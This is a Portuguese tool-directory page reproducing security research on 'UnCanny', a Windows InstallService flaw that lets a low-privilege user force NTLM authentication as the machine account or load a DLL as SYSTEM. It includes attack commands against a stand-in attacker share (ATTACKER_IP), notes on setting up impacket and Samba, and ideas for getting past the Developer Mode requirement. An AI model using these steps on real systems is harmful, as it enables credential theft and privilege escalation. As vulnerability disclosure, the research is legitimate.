Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
UnCanny — Outra nova primitiva de coerção com LPE - coerção NTLM de conta de máquina a partir de um usuário não administrador via experimentos de resolução de plugin do Windows Store InstallService | Kitploit
Ferramentas/GitHubGitHub/0xhossam/uncanny
Escalada de PrivilégiosExploraçãoMovimento LateralPapers e PesquisaAprendizado e EducaçãoRed TeamingDesenvolvimento de Payloads
GitHub0xhossam/uncanny

UnCanny

Outra nova primitiva de coerção com LPE - coerção NTLM de conta de máquina a partir de um usuário não administrador via experimentos de resolução de plugin do Windows Store InstallService

Ver Repositório
87122há 2 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

UNCanny Coerce

A ideia por trás desta pesquisa foi simples, pois eu queria encontrar minha própria técnica de coerção. Comecei procurando novas superfícies de ataque RPC, mas depois que a Microsoft adicionou monitoramento de atividade RPC (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), decidi seguir um caminho diferente.

UNCanny é o resultado dessa toca de coelho. Não é algo que eu consideraria confiável para operações reais de red team por causa de sua limitação, mas ainda acho que as anotações valem a pena serem publicadas para qualquer um que esteja investigando a mesma área.


resumidamente, essa primitiva é:

um usuário normal entrega alguns metadados de instalação ao serviço de instalação da Windows Store -> o serviço, executando como sistema local, resolve um "plugin" para esse trabalho -> o resolvedor acaba fazendo LoadLibraryW em um caminho que o usuário influenciou -> esse caminho é um UNC -> NTLM de saída como a conta da máquina.

o componente é o mundo do serviço de instalação da Windows Store: InstallService.dll hospedado em InstallService.exe, executando como NT AUTHORITY\SYSTEM.

encontrando a superfície estranha

A toca de coelho começou com InstallService.dll. Eu estava procurando componentes do Windows que instalam pacotes, restauram estado após reinicialização, retomam trabalhos com falha, leem conteúdo local/remoto e carregam plugins. Qualquer coisa que tenha essas quatro coisas juntas geralmente tem alguma confusão de limites em algum lugar:

  • tem um lado chamador meio público porque o modo de usuário normal precisa solicitar instalações
  • tem um lado trabalhador privilegiado porque a instalação de pacotes/gerenciamento de estado precisa de direitos de serviço
  • tem serialização porque o trabalho precisa sobreviver à reinicialização
  • tem carregamento de plugin porque o Windows gosta de tornar coisas simples modulares e assustadoras

A classe de runtime interessante era:

root@kitploit:~
Windows.Internal.InstallService.Control.InstallServiceControl
IID:    e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8  ->  CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

alt text

Esse parâmetro propertiesJson é onde a diversão mora. O comportamento da instalação é descrito por campos JSON como FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId.

No começo, pensei que o bug seria "colocar um UNC em SourceUri e deixar o serviço lê-lo". Isso teria sido lindo, mas o Windows não foi tão generoso. Eu fiz engenharia reversa do caminho de cumprimento embutido (CreateInstallServiceWorkFromBridge, InstallService.dll) e os plugins embutidos simplesmente não fazem isso:

  • WU analisa o JSON e sai via WinHTTP / Delivery Optimization. nunca SMB.
  • ChainedWork e XVC são a mesma história ou nem estão presentes em um cliente.
  • um SourceUri bruto ou é rejeitado rapidamente ou é roteado para validação de catálogo. CreateCatalogItemFromLocalData, apesar do nome, constrói um item de catálogo a partir do JSON serializado em memória, ele não vai abrir um arquivo.

Então a ideia ingênua é um beco sem saída. Esse recurso é muito interessante e estou fazendo outras pesquisas primitivas sobre ele também, e vale a pena dizer isso em voz alta para que ninguém perca uma semana nisso :)

SYSTEM toca um caminho

o único lugar em todo o fluxo de criar/restaurar onde o serviço toca um caminho influenciado pelo atacante é a ativação do plugin. a função é PluginHelpers::ActivatePlugin. ela resolve FulfillmentPluginId nesta ordem:

  1. "WU" -> embutido
  2. "ChainedWork" -> embutido
  3. valor encontrado em StaticPluginMap (HKLM) -> CoCreateInstance de um CLSID, ou ativar uma classe WinRT
  4. "XVC" -> fábrica do Xbox
  5. qualquer outra coisa -> trate como um nome de família de pacote. FindPackagesForUser(pfn) -> pegue o InstalledLocation.Path desse pacote -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")

o ramo 5 é o único e PluginHelpers::IsPluginAvailable confirma a porta: retorna verdadeiro para qualquer FulfillmentPluginId que corresponda a um pacote instalado, através da mesma pesquisa FindPackagesForUser.

alt text

então, se um FulfillmentPluginId aponta para um pacote cujo InstalledLocation é um UNC, então InstallService.exe executando como SYSTEM faz:

root@kitploit:~
LoadLibraryW( \\atacante\compartilhamento\InstallServicePlugin.dll )

LoadLibraryW precisa conectar a \\atacante\compartilhamento e autenticar antes de descobrir que a dll não está lá, e essa autenticação é a coerção, e a dll nunca precisa existir.

alt text

a primitiva real

a única pergunta que resta é "como um usuário normal obtém um pacote cujo InstalledLocation é um UNC". a resposta é o registro de arquivos soltos, que é uma operação por usuário, sem elevação:

root@kitploit:~
Add-AppxPackage -Register \\atacante\compartilhamento\AppxManifest.xml

o Windows registra o pacote "no local", então o InstalledLocation registrado é literalmente o UNC que você apontou. então você aciona o trabalho com o nome da família desse pacote como o ID do plugin.

  1. Add-AppxPackage -Register \\atacante\compartilhamento\AppxManifest.xml
  2. CreateInstallServiceWork( FulfillmentPluginId = <PFN desse pacote> )

o chamador é um usuário normal, a autenticação de rede é a conta da máquina.

alt text

usuário com poucos privilégios acionou, conta da máquina autenticou. o próprio carregador do Windows fez o toque UNC, não o chamador.

coerção via smb

lado do atacante

duas coisas para resolver antes de executar:

  • o impacket-smbserver reporta tipo de sistema de arquivos XTFS. AppX se recusa a registrar em compartilhamentos que não são NTFS (0x80073CFD. corrija o campo FileSystemName em impacket/smbserver.py para NTFS.

  • o compartilhamento precisa de AppxManifest.xml, logo.png, dummy.exe. não é necessário InstallServicePlugin.dll. MaxVersionTested no manifesto deve ser ≤ a build alvo (winver no alvo para verificar).

Você pode executar poc/setup.sh da raiz do repositório no Kali. ele popula o compartilhamento, corrige o impacket, prepara poc.ps1 no alvo via smbclient se TARGET_IP e TARGET_CREDS estiverem definidos, e inicia o servidor ;-)

Em seguida, na sua estação de trabalho Windows como o usuário com poucos privilégios a partir de uma sessão interativa:

root@kitploit:~
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce

LPE

Existe um segundo lado para o mesmo bug que é mais direto do que a coerção. se InstallServicePlugin.dll realmente existir no caminho do pacote UNC, o serviço ainda atinge o mesmo ramo LoadLibraryW(\\atacante\compartilhamento\InstallServicePlugin.dll), mas desta vez o carregador tem sucesso e a dll é mapeada dentro do processo do serviço de instalação da loja como NT AUTHORITY\SYSTEM.

Então fiquei empolgado tentando provar esse problema e escrevi a prova de conceito em lpe/. o importante não é outro truque de registro de pacote, é o mesmo pacote solto registrado sendo reutilizado como o pacote do plugin. o harness pergunta o nome da família do pacote do usuário com poucos privilégios via Get-AppxPackage, passa esse PFN como FulfillmentPluginId, define SkipCatalogLookup=true e inclui SerializedFulfillmentData. esse último campo é importante porque InstallQueue2::CreateWork rejeita a solicitação com 0x80070057 se a pesquisa de catálogo for ignorada sem dados de cumprimento.

É muito importante notar algo que demorou muito tempo na solução de problemas: o impacket não consegue servir uma imagem carregável. ele responde às leituras bem o suficiente para a conta da máquina autenticar, então o caminho de coerção funciona perfeitamente, mas LoadLibraryW contra um compartilhamento impacket retorna nulo com ERROR_INVALID_HANDLE e DllMain nunca é executado. Sirva os mesmos arquivos com um servidor SMB real (Samba) e a carga funciona. O Samba reporta NTFS por padrão, então o registro solto ainda funciona. então a regra é simples: impacket quando você só quer o hash, Samba quando você quer que a dll realmente execute como SYSTEM!

em uma execução real, acionada pelo usuário com poucos privilégios, uncanny_lpe.txt mostra a dll mapeada em svchost.exe e o token resolvendo para NT AUTHORITY\SYSTEM / S-1-5-18, que é a captura de tela abaixo.

prova de lpe como coerção baixa

CreateInstallServiceWork ainda retorna 0x800706BE com esta dll de demonstração porque DllMain já foi executado no momento em que o serviço pergunta pela interface real do plugin e desiste :-)

ramo loadlibrary do activateplugin

limitações

A limitação é na verdade a razão pela qual decidi publicar esta técnica - o modo de desenvolvedor deve estar ativado para executá-la. tudo depende de InstalledLocation.Path ser um caminho UNC, e depois de passar muito tempo investigando isso, encontrei apenas uma maneira de fazer isso acontecer. uma instalação assinada normal copia o pacote para C:\Program Files\WindowsApps\..., define InstalledLocation lá, e isso é sempre um caminho local.

o único caminho de registro que encontrei que mantém os arquivos onde já estão, inclusive em um compartilhamento UNC, é o registro de arquivos soltos (Add-AppxPackage -Register <manifest>). isso é exatamente o que o Modo Desenvolvedor (AllowDevelopmentWithoutDevLicense em HKLM\...\AppModelUnlock) desbloqueia. e a razão pela qual é restrito faz sentido. o registro solto basicamente cria uma identidade de pacote confiável a partir de arquivos não assinados arbitrários localizados em um local que você controla, o que contorna completamente o modelo de confiança normal da loja e de assinatura. por causa disso, o Modo Desenvolvedor precisa estar ativado, e essa é atualmente a maior limitação da técnica.

A parte interessante é que o lado do InstallService não se importa muito e, uma vez que tal pacote exista, o ramo 5 de ActivatePlugin chamará felizmente LoadLibraryW em qualquer InstalledLocation.Path que receber. o problema inteiro é obter um pacote cujo local de instalação aponte para um caminho UNC em primeiro lugar, sem precisar do Modo Desenvolvedor.

Então, comecei a fazer engenharia reversa das barreiras de proteção procurando outra entrada.

a verificação do Modo Desenvolvedor não mora dentro do InstallService. ela mora dentro da pilha de implantação do AppX (AppXDeploymentServer.dll e a política de licenciamento de implantação) e, em última análise, lê HKLM\...\AppModelUnlock, que é controlado pelo administrador. não há nada que um usuário normal possa alterar ali.

Também persegui o que parecia ser a óbvia bypass, como sideloading

Testei com sideloading ativado e Modo Desenvolvedor desativado (IsSideloadingEnabled=1, IsDeveloperModeEnabled=0). o registro solto falhou imediatamente e reclamou que a origem do pacote era Unsigned e que nenhuma licença válida ou política de sideloading pôde ser aplicada.

ainda existem algumas rotas que não descartei completamente ainda, você pode investigar se quiser:

  • StaticPluginMap combinado com um sequestro de ordem de pesquisa COM
  • -ExternalLocation e conteúdo de pacote externo
  • links simbólicos ou junctions
  • sequestro COM por usuário através de HKCU\...\CLSID

detecções?

Elastic provavelmente cobrirá isso em um dia.


  • não sou responsável por como esta informação é usada. esta pesquisa é publicada para fins educacionais no final do dia, e também pode ajudar a melhorar a compreensão da superfície de ataque.
Baixar ferramenta